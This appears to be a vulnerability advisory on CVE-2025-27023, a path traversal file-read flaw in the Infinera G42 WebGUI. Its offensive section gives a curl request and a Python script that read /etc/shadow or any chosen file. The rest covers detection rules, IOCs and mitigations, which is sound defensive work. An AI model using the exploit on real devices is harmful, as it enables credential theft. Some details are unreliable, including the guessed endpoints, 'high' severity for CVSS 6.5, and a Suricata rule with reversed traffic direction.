CVE-2025-27023

Executive Summary

CVE-2025-27023 is a high-severity (CVSS 6.5) path traversal and file disclosure vulnerability affecting the Infinera G42 appliance running version R6.1.3. The flaw resides in the WebGUI CLI web interface, where insufficient input validation allows remote authenticated users to read arbitrary OS files by crafting CLI commands that reference non-script files. The web service runs with elevated privileges, enabling an attacker to exfiltrate sensitive system files (e.g., /etc/shadow, configuration databases, SSH keys). No patch is currently available, and the EPSS score is 0.0%, indicating low active exploitation in the wild. This vulnerability is particularly dangerous in telecom environments where Infinera devices manage critical optical network infrastructure.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authenticated access to the WebGUI.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Full file system read access.
• Integrity (I): None (N) – No write capability.
• Availability (A): None (N) – No denial of service.

Threat Level: High – While the CVSS base score is 6.5, the impact on confidentiality is severe due to privileged service context. In telecom environments, exposure of configuration files or credentials could lead to lateral movement and network compromise.

Deep Dive & Mechanics

The Infinera G42 WebGUI provides a CLI feature that allows authenticated users to execute a restricted set of commands. This feature also supports executing script files already present on the device. The vulnerability arises because the input validation does not properly restrict file paths or file types. When a user specifies a non-script file (e.g., /etc/passwd), the system attempts to execute it, fails, and then displays the file's content in the error message. Since the HTTP service runs with a privileged user (e.g., root), all files on the filesystem are readable.

Attack Flow:

1. Attacker authenticates to the WebGUI (e.g., default credentials or stolen session).
2. Attacker navigates to the CLI script execution feature.
3. Attacker submits a crafted command referencing a sensitive file (e.g., ../../etc/shadow).
4. The system returns the file content in the error response.

Root Cause: Lack of input validation on the file path parameter in the CLI execution endpoint. The application does not sanitize or restrict paths to allowed script directories.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resides in the backend handler for the CLI script execution. A hypothetical vulnerable snippet (pseudo-code):

# Vulnerable
def execute_script(file_path):
    if not os.path.isfile(file_path):
        # Error message leaks file content
        return f"Error: {file_path} is not a script. Content: {open(file_path).read()}"
    # Execute script...

A patched version would validate that the file is within an allowed directory and is a valid script:

# Patched
ALLOWED_SCRIPT_DIR = "/opt/infinera/scripts/"

def execute_script(file_path):
    # Resolve path and ensure it's within allowed directory
    real_path = os.path.realpath(file_path)
    if not real_path.startswith(ALLOWED_SCRIPT_DIR):
        return "Error: Invalid file path."
    if not os.path.isfile(real_path) or not real_path.endswith(".sh"):
        return "Error: File is not a valid script."
    # Execute script...

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites: Valid WebGUI credentials (e.g., admin/admin).

Exploit Steps:

1. Login to the WebGUI at https://<target>:8443/.
2. Navigate to the CLI script execution page (e.g., /cli/execute).
3. Use a tool like curl to send a crafted request:

curl -k -X POST \
  -c cookies.txt -b cookies.txt \
  -d "command=execute&script=../../etc/shadow" \
  https://<target>:8443/cli/execute

4. The response will contain the contents of /etc/shadow.

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
file_to_read = sys.argv[4]

session = requests.Session()
session.verify = False

# Login
login_data = {"username": username, "password": password}
session.post(f"https://{target}:8443/login", data=login_data)

# Exploit
payload = {"command": "execute", "script": f"../../{file_to_read}"}
response = session.post(f"https://{target}:8443/cli/execute", data=payload)
print(response.text)

Blue Team (Defensive)

Detection: Monitor WebGUI logs for unusual file paths in the script parameter (e.g., ../../etc/shadow, /proc/self/environ). Look for repeated error messages containing file content.

Honeypot: Deploy a fake file /opt/infinera/scripts/honeypot.sh containing a unique string. Alert when this file is accessed.

Mitigation: Restrict WebGUI access to trusted IPs via firewall rules. Disable the CLI script execution feature if not needed. Implement a WAF rule to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /cli/execute with script parameter containing ../ or absolute paths.
• Logs: WebGUI access logs showing Error: /etc/shadow is not a script. Content:.
• File System: Unexpected access to /etc/shadow, /etc/passwd, /opt/infinera/config.db, or SSH private keys.
• Process: httpd or nginx processes reading sensitive files (detectable via auditd).

Detection Engineering

YARA Rule

rule CVE_2025_27023_Infinera_FileRead {
    meta:
        description = "Detects attempts to exploit CVE-2025-27023 via path traversal in WebGUI CLI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27023"
    strings:
        $path_traversal = /\.\.\/\.\.\/etc\/(shadow|passwd|hosts|ssh)/
        $error_pattern = /is not a script\. Content:/
    condition:
        any of them
}

Sigma Rule

title: Infinera G42 WebGUI Path Traversal Exploit
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-27023
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cli/execute'
        cs-uri-query|contains: 'script='
        cs-uri-query|re: '\.\.\/'
    condition: selection
falsepositives:
    - Legitimate script execution with relative paths (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-27023 Infinera G42 WebGUI Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cli/execute"; http_uri;
    content:"script="; http_client_body;
    pcre:"/\.\.\/\.\.\/etc\/(shadow|passwd|hosts|ssh)/Ri";
    reference:cve,2025-27023;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict WebGUI access to trusted management IPs only.
2. Disable the CLI script execution feature if not required.
3. Implement a WAF rule to block path traversal patterns (e.g., ../).
4. Monitor logs for exploitation attempts.

Long-Term Fix:

• Apply vendor patch when available (currently UNKNOWN).
• Upgrade to a patched firmware version.
• Conduct a security audit of the WebGUI input validation.

Compensating Controls:

• Use network segmentation to isolate Infinera devices.
• Enable auditd to log file access events.
• Implement multi-factor authentication for WebGUI access.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert